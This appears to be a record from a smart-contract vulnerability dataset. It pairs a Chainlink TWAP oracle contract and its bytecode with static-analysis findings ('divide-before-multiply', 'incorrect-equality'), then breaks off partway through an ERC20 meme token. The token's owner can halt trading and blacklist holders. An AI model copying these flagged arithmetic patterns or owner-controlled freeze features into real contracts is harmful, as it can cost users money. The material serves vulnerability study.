interface AggregatorInterface {
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 timestamp);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
// post-Historic
function decimals() external view returns (uint8);
function getRoundData(uint256 _roundId)
external
returns (
uint256 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint256 answeredInRound
);
function latestRoundData()
external
returns (
uint256 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint256 answeredInRound
);
}
abstract contract IncreasingRewardRelayerLike {
function reimburseCaller(address) virtual external;
}
contract ChainlinkTWAP is GebMath {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) virtual external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "ChainlinkTWAP/account-not-authorized");
_;
}
// --- Variables ---
AggregatorInterface public chainlinkAggregator;
IncreasingRewardRelayerLike public rewardRelayer;
// Delay between updates after which the reward starts to increase
uint256 public periodSize;
// Timestamp of the Chainlink aggregator
uint256 public linkAggregatorTimestamp;
// Last timestamp when the median was updated
uint256 public lastUpdateTime; // [unix timestamp]
// Cumulative result
uint256 public converterResultCumulative;
// Latest result
uint256 private medianResult; // [wad]
/**
The ideal amount of time over which the moving average should be computed, e.g. 24 hours.
In practice it can and most probably will be different than the actual window over which the contract medianizes.
**/
uint256 public windowSize;
// Maximum window size used to determine if the median is 'valid' (close to the real one) or not
uint256 public maxWindowSize;
// Total number of updates
uint256 public updates;
// Multiplier for the Chainlink result
uint256 public multiplier = 1;
// Number of updates in the window
uint8 public granularity;
// You want to change these every deployment
uint256 public staleThreshold = 3;
bytes32 public symbol = "RAI-USD-TWAP";
ChainlinkObservation[] public chainlinkObservations;
// --- Structs ---
struct ChainlinkObservation {
uint timestamp;
uint timeAdjustedResult;
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event ModifyParameters(
bytes32 parameter,
address addr
);
event ModifyParameters(
bytes32 parameter,
uint256 val
);
event UpdateResult(uint256 result);
constructor(
address aggregator,
uint256 windowSize_,
uint256 maxWindowSize_,
uint256 multiplier_,
uint8 granularity_
) public {
require(aggregator != address(0), "ChainlinkTWAP/null-aggregator");
require(multiplier_ >= 1, "ChainlinkTWAP/null-multiplier");
require(granularity_ > 1, 'ChainlinkTWAP/null-granularity');
require(windowSize_ > 0, 'ChainlinkTWAP/null-window-size');
require(
(periodSize = windowSize_ / granularity_) * granularity_ == windowSize_,
'ChainlinkTWAP/window-not-evenly-divisible'
);
authorizedAccounts[msg.sender] = 1;
lastUpdateTime = now;
windowSize = windowSize_;
maxWindowSize = maxWindowSize_;
granularity = granularity_;
multiplier = multiplier_;
chainlinkAggregator = AggregatorInterface(aggregator);
emit AddAuthorization(msg.sender);
emit ModifyParameters("maxWindowSize", maxWindowSize);
emit ModifyParameters("aggregator", aggregator);
}
// --- Boolean Utils ---
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- General Utils ---
/**
* @notice Returns the oldest observations (relative to the current index in the Uniswap/Converter lists)
**/
function getFirstObservationInWindow()
private view returns (ChainlinkObservation storage firstChainlinkObservation) {
uint256 earliestObservationIndex = earliestObservationIndex();
firstChainlinkObservation = chainlinkObservations[earliestObservationIndex];
}
/**
@notice It returns the time passed since the first observation in the window
**/
function timeElapsedSinceFirstObservation() public view returns (uint256) {
if (updates > 1) {
ChainlinkObservation memory firstChainlinkObservation = getFirstObservationInWindow();
return subtract(now, firstChainlinkObservation.timestamp);
}
return 0;
}
/**
* @notice Returns the index of the earliest observation in the window
**/
function earliestObservationIndex() public view returns (uint256) {
if (updates <= granularity) {
return 0;
}
return subtract(updates, uint(granularity));
}
/**
* @notice Get the observation list length
**/
function getObservationListLength() public view returns (uint256) {
return chainlinkObservations.length;
}
// --- Administration ---
/*
* @notify Modify an uin256 parameter
* @param parameter The name of the parameter to change
* @param data The new parameter value
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
if (parameter == "maxWindowSize") {
require(data > windowSize, 'ChainlinkTWAP/invalid-max-window-size');
maxWindowSize = data;
}
else if (parameter == "staleThreshold") {
require(data > 1, "ChainlinkTWAP/invalid-stale-threshold");
staleThreshold = data;
}
else revert("ChainlinkTWAP/modify-unrecognized-param");
emit ModifyParameters(parameter, data);
}
/*
* @notify Modify an address parameter
* @param parameter The name of the parameter to change
* @param addr The new parameter address
*/
function modifyParameters(bytes32 parameter, address addr) external isAuthorized {
if (parameter == "aggregator") chainlinkAggregator = AggregatorInterface(addr);
else if (parameter == "rewardRelayer") {
rewardRelayer = IncreasingRewardRelayerLike(addr);
}
else revert("ChainlinkTWAP/modify-unrecognized-param");
emit ModifyParameters(parameter, addr);
}
// --- Main Getters ---
/**
* @notice Fetch the latest medianResult or revert if is is null
**/
function read() external view returns (uint256) {
require(
both(both(medianResult > 0, updates > granularity), timeElapsedSinceFirstObservation() <= maxWindowSize),
"ChainlinkTWAP/invalid-price-feed"
);
return multiply(medianResult, multiplier);
}
/**
* @notice Fetch the latest medianResult and whether it is null or not
**/
function getResultWithValidity() external view returns (uint256, bool) {
return (
multiply(medianResult, multiplier),
both(both(medianResult > 0, updates > granularity), timeElapsedSinceFirstObservation() <= maxWindowSize)
);
}
// --- Median Updates ---
/*
* @notify Update the moving average
* @param feeReceiver The address that will receive a SF payout for calling this function
*/
function updateResult(address feeReceiver) external {
require(address(rewardRelayer) != address(0), "ChainlinkTWAP/null-reward-relayer");
uint256 elapsedTime = (chainlinkObservations.length == 0) ?
subtract(now, lastUpdateTime) : subtract(now, chainlinkObservations[chainlinkObservations.length - 1].timestamp);
// Check delay between calls
require(elapsedTime >= periodSize, "ChainlinkTWAP/wait-more");
int256 aggregatorResult = chainlinkAggregator.latestAnswer();
uint256 aggregatorTimestamp = chainlinkAggregator.latestTimestamp();
require(aggregatorResult > 0, "ChainlinkTWAP/invalid-feed-result");
require(both(aggregatorTimestamp > 0, aggregatorTimestamp > linkAggregatorTimestamp), "ChainlinkTWAP/invalid-timestamp");
// Get current first observation timestamp
uint256 timeSinceFirst;
if (updates > 0) {
ChainlinkObservation memory firstUniswapObservation = getFirstObservationInWindow();
timeSinceFirst = subtract(now, firstUniswapObservation.timestamp);
} else {
timeSinceFirst = elapsedTime;
}
// Update the observations array
updateObservations(elapsedTime, uint256(aggregatorResult));
// Update var state
medianResult = converterResultCumulative / timeSinceFirst;
updates = addition(updates, 1);
linkAggregatorTimestamp = aggregatorTimestamp;
lastUpdateTime = now;
emit UpdateResult(medianResult);
// Get final fee receiver
address finalFeeReceiver = (feeReceiver == address(0)) ? msg.sender : feeReceiver;
// Send the reward
rewardRelayer.reimburseCaller(finalFeeReceiver);
}
/**
* @notice Push new observation data in the observation array
* @param timeElapsedSinceLatest Time elapsed between now and the earliest observation in the window
* @param newResult Latest result coming from Chainlink
**/
function updateObservations(
uint256 timeElapsedSinceLatest,
uint256 newResult
) internal {
// Compute the new time adjusted result
uint256 newTimeAdjustedResult = multiply(newResult, timeElapsedSinceLatest);
// Add Chainlink observation
chainlinkObservations.push(ChainlinkObservation(now, newTimeAdjustedResult));
// Add the new update
converterResultCumulative = addition(converterResultCumulative, newTimeAdjustedResult);
// Subtract the earliest update
if (updates >= granularity) {
ChainlinkObservation memory chainlinkObservation = getFirstObservationInWindow();
converterResultCumulative = subtract(converterResultCumulative, chainlinkObservation.timeAdjustedResult);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106102325760003560e01c8063556f0dc711610130578063a0871637116100b8578063da559f721161007c578063da559f7214610555578063dd2d2a121461055d578063e4463eb214610580578063f752fdc314610588578063fe4f5890146105ab57610232565b8063a0871637146104f1578063bc3501e214610514578063c5cb2dcc1461051c578063c8f33c9114610524578063d6e882dc1461052c57610232565b806368a82ef6116100ff57806368a82ef6146104ab5780636a146024146104b35780638a14117a146104bb57806394f3f81d146104c357806395d89b41146104e957610232565b8063556f0dc71461045157806357de26a41461046f57806365045206146104775780636614f0101461047f57610232565b80633c8bb3e6116101be5780634c57cc02116101825780634c57cc02146103c75780634fd0ada8146103fd5780635004d36c1461041e57806354f363a314610426578063552033c41461044957610232565b80633c8bb3e6146103365780633ef5e4451461035957806341938b021461037c57806346f3e81c14610384578063495df025146103a157610232565b80631b3ed722116102055780631b3ed722146102b457806324ba5884146102bc57806331125159146102e257806335b28153146103065780633c3f91251461032e57610232565b8063056640b714610237578063102134471461026c578063126c6eba14610289578063165c4a1614610291575b600080fd5b61025a6004803603604081101561024d57600080fd5b50803590602001356105ce565b60408051918252519081900360200190f35b61025a6004803603602081101561028257600080fd5b50356105f6565b61025a61060c565b61025a600480360360408110156102a757600080fd5b5080359060200135610612565b61025a610677565b61025a600480360360208110156102d257600080fd5b50356001600160a01b031661067d565b6102ea61068f565b604080516001600160a01b039092168252519081900360200190f35b61032c6004803603602081101561031c57600080fd5b50356001600160a01b031661069e565b005b61025a61073e565b61025a6004803603604081101561034c57600080fd5b5080359060200135610745565b61025a6004803603604081101561036f57600080fd5b508035906020013561075a565b61025a6107b2565b61025a6004803603602081101561039a57600080fd5b50356107b8565b61032c600480360360208110156103b757600080fd5b50356001600160a01b03166107d0565b6103e4600480360360208110156103dd57600080fd5b5035610b84565b6040805192835260208301919091528051918290030190f35b610405610baf565b6040805192835290151560208301528051918290030190f35b6102ea610bfa565b61025a6004803603604081101561043c57600080fd5b5080359060200135610c09565b61025a610c5a565b610459610c6a565b6040805160ff9092168252519081900360200190f35b61025a610c73565b61025a610cfa565b61032c6004803603604081101561049557600080fd5b50803590602001356001600160a01b0316610d00565b61025a610e39565b61025a610e3f565b61025a610e4b565b61032c600480360360208110156104d957600080fd5b50356001600160a01b0316610e51565b61025a610ef0565b61025a6004803603604081101561050757600080fd5b5080359060200135610ef6565b61025a610f0f565b61025a610f61565b61025a610f8d565b61025a6004803603606081101561054257600080fd5b5080359060208101359060400135610f93565b61025a611051565b61025a6004803603604081101561057357600080fd5b5080359060200135611057565b61025a611070565b61025a6004803603604081101561059e57600080fd5b5080359060200135611076565b61032c600480360360408110156105c157600080fd5b508035906020013561108b565b60006b033b2e3c9fd0803ce80000006105e78484610612565b816105ee57fe5b049392505050565b600061060682633b9aca00610612565b92915050565b60065481565b600081158061062d5750508082028282828161062a57fe5b04145b610606576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6d756c2d6f766572666c6f7760501b604482015290519081900360640190fd5b600b5481565b60006020819052908152604090205481565b6002546001600160a01b031681565b336000908152602081905260409020546001146106ec5760405162461bcd60e51b81526004018080602001828103825260248152602001806113c26024913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b600f545b90565b6000670de0b6b3a76400006105e78484610612565b80820382811115610606576040805162461bcd60e51b815260206004820152601760248201527f75696e742d75696e742d7375622d756e646572666c6f77000000000000000000604482015290519081900360640190fd5b60095481565b6000610606826b033b2e3c9fd0803ce8000000610612565b6002546001600160a01b03166108175760405162461bcd60e51b815260040180806020018281038252602181526020018061137c6021913960400191505060405180910390fd5b600f546000901561085657600f8054610851914291600019810190811061083a57fe5b90600052602060002090600202016000015461075a565b610862565b6108624260055461075a565b90506003548110156108bb576040805162461bcd60e51b815260206004820152601760248201527f436861696e6c696e6b545741502f776169742d6d6f7265000000000000000000604482015290519081900360640190fd5b600154604080516350d25bcd60e01b815290516000926001600160a01b0316916350d25bcd916004808301926020929190829003018186803b15801561090057600080fd5b505afa158015610914573d6000803e3d6000fd5b505050506040513d602081101561092a57600080fd5b505160015460408051634102dfb560e11b815290519293506000926001600160a01b0390921691638205bf6a91600480820192602092909190829003018186803b15801561097757600080fd5b505afa15801561098b573d6000803e3d6000fd5b505050506040513d60208110156109a157600080fd5b50519050600082136109e45760405162461bcd60e51b815260040180806020018281038252602181526020018061135b6021913960400191505060405180910390fd5b6109f56000821160045483116111d8565b610a46576040805162461bcd60e51b815260206004820152601f60248201527f436861696e6c696e6b545741502f696e76616c69642d74696d657374616d7000604482015290519081900360640190fd5b600a5460009015610a9057610a596112f4565b610a616111dc565b60408051808201909152815480825260019092015460208201529150610a8890429061075a565b915050610a93565b50825b610a9d848461120a565b8060065481610aa857fe5b04600755600a54610aba906001610c09565b600a5560048290554260055560075460408051918252517f4ad358ce48672c225b45b8eae0e86641af496b96bf993e0ae4ded4c2c9ad2f8d9181900360200190a160006001600160a01b03861615610b125785610b14565b335b600254604080516346bfdb3d60e11b81526001600160a01b0380851660048301529151939450911691638d7fb67a9160248082019260009290919082900301818387803b158015610b6457600080fd5b505af1158015610b78573d6000803e3d6000fd5b50505050505050505050565b600f8181548110610b9157fe5b60009182526020909120600290910201805460019091015490915082565b600080610bc0600754600b54610612565b600754600c54600a54610bf292610be0929015159160ff909116106111d8565b600954610beb610f0f565b11156111d8565b915091509091565b6001546001600160a01b031681565b81810182811015610606576040805162461bcd60e51b815260206004820152601660248201527575696e742d75696e742d6164642d6f766572666c6f7760501b604482015290519081900360640190fd5b6b033b2e3c9fd0803ce800000081565b600c5460ff1681565b600754600c54600a54600092610c9692610be0929115159160ff909116106111d8565b610ce7576040805162461bcd60e51b815260206004820181905260248201527f436861696e6c696e6b545741502f696e76616c69642d70726963652d66656564604482015290519081900360640190fd5b610cf5600754600b54610612565b905090565b60045481565b33600090815260208190526040902054600114610d4e5760405162461bcd60e51b81526004018080602001828103825260248152602001806113c26024913960400191505060405180910390fd5b816930b3b3b932b3b0ba37b960b11b1415610d8357600180546001600160a01b0319166001600160a01b038316179055610df2565b816c3932bbb0b9322932b630bcb2b960991b1415610dbb57600280546001600160a01b0319166001600160a01b038316179055610df2565b60405162461bcd60e51b815260040180806020018281038252602781526020018061130f6027913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b600a5481565b670de0b6b3a764000081565b60085481565b33600090815260208190526040902054600114610e9f5760405162461bcd60e51b81526004018080602001828103825260248152602001806113c26024913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b600e5481565b6000816105e7846b033b2e3c9fd0803ce8000000610612565b60006001600a541115610f5b57610f246112f4565b610f2c6111dc565b60408051808201909152815480825260019092015460208201529150610f5390429061075a565b915050610742565b50600090565b600c54600a5460009160ff1610610f7a57506000610742565b600a54600c54610cf5919060ff1661075a565b60055481565b600083801561103357600184168015610fae57859250610fb2565b8392505b50600283046002850494505b841561102d578586028687820414610fd557600080fd5b81810181811015610fe557600080fd5b859004965050600185161561102257858302838782041415871515161561100b57600080fd5b8181018181101561101b57600080fd5b8590049350505b600285049450610fbe565b50611049565b8380156110435760009250611047565b8392505b505b509392505050565b600d5481565b6000818311156110675781611069565b825b9392505050565b60035481565b6000816105e784670de0b6b3a7640000610612565b336000908152602081905260409020546001146110d95760405162461bcd60e51b81526004018080602001828103825260248152602001806113c26024913960400191505060405180910390fd5b816c6d617857696e646f7753697a6560981b141561113b5760085481116111315760405162461bcd60e51b815260040180806020018281038252602581526020018061139d6025913960400191505060405180910390fd5b6009819055611199565b816d1cdd185b19551a1c995cda1bdb1960921b1415610dbb57600181116111935760405162461bcd60e51b81526004018080602001828103825260258152602001806113366025913960400191505060405180910390fd5b600d8190555b604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b1690565b6000806111e7610f61565b9050600f81815481106111f657fe5b906000526020600020906002020191505090565b60006112168284610612565b6040805180820190915242815260208101828152600f805460018101825560009190915291517f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac802600290930292830155517f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8039091015560065490915061129c9082610c09565b600655600c54600a5460ff909116116112ef576112b76112f4565b6112bf6111dc565b6040805180820190915281548152600190910154602082018190526006549192506112ea919061075a565b600655505b505050565b60405180604001604052806000815260200160008152509056fe436861696e6c696e6b545741502f6d6f646966792d756e7265636f676e697a65642d706172616d436861696e6c696e6b545741502f696e76616c69642d7374616c652d7468726573686f6c64436861696e6c696e6b545741502f696e76616c69642d666565642d726573756c74436861696e6c696e6b545741502f6e756c6c2d7265776172642d72656c61796572436861696e6c696e6b545741502f696e76616c69642d6d61782d77696e646f772d73697a65436861696e6c696e6b545741502f6163636f756e742d6e6f742d617574686f72697a6564a26469706673582212204940eae210e58299c3c40d24b7680bd7b19bf830cd0dfad65876957c661a4c8864736f6c63430006070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,067 |
0xB62c20baC04CdFDD0948C50114420E6ef19b0AE6
|
/**
( ____ )( ____ \( ____ ) ( ___ )( ____ \( ____ )( ____ \( ____ )( ___ ) ( ___ )( __ \ ( ___ )( ____ \\__ __/( ____ )( ___ )
| ( )|| ( \/| ( )| | ( ) || ( \/| ( )|| ( \/| ( )|| ( ) | | ( ) || ( \ ) | ( ) || ( \/ ) ( | ( )|| ( ) |
| (____)|| (__ | (____)| | (___) || (_____ | (____)|| (__ | (____)|| (___) | | (___) || | ) | | (___) || (_____ | | | (____)|| (___) |
| _____)| __) | __) | ___ |(_____ )| _____)| __) | __)| ___ | | ___ || | | | | ___ |(_____ ) | | | __)| ___ |
| ( | ( | (\ ( | ( ) | ) || ( | ( | (\ ( | ( ) | | ( ) || | ) | | ( ) | ) | | | | (\ ( | ( ) |
| ) | (____/\| ) \ \__ | ) ( |/\____) || ) | (____/\| ) \ \__| ) ( | | ) ( || (__/ ) | ) ( |/\____) | | | | ) \ \__| ) ( |
|/ (_______/|/ \__/ |/ \|\_______)|/ (_______/|/ \__/|/ \| |/ \|(______/ |/ \|\_______) )_( |/ \__/|/ \|
* "through hardships to the stars"
* -Elon Musk
* https://twitter.com/elonmusk/status/1519047548509466624
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Aspera is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Per Aspera Ad Astra";
string private constant _symbol = "ToTheStars";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x1BbF002d63B8ba1988C40dA2ecE0E647C1F7FaD5);
address payable private _marketingAddress = payable(0x1BbF002d63B8ba1988C40dA2ecE0E647C1F7FaD5);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
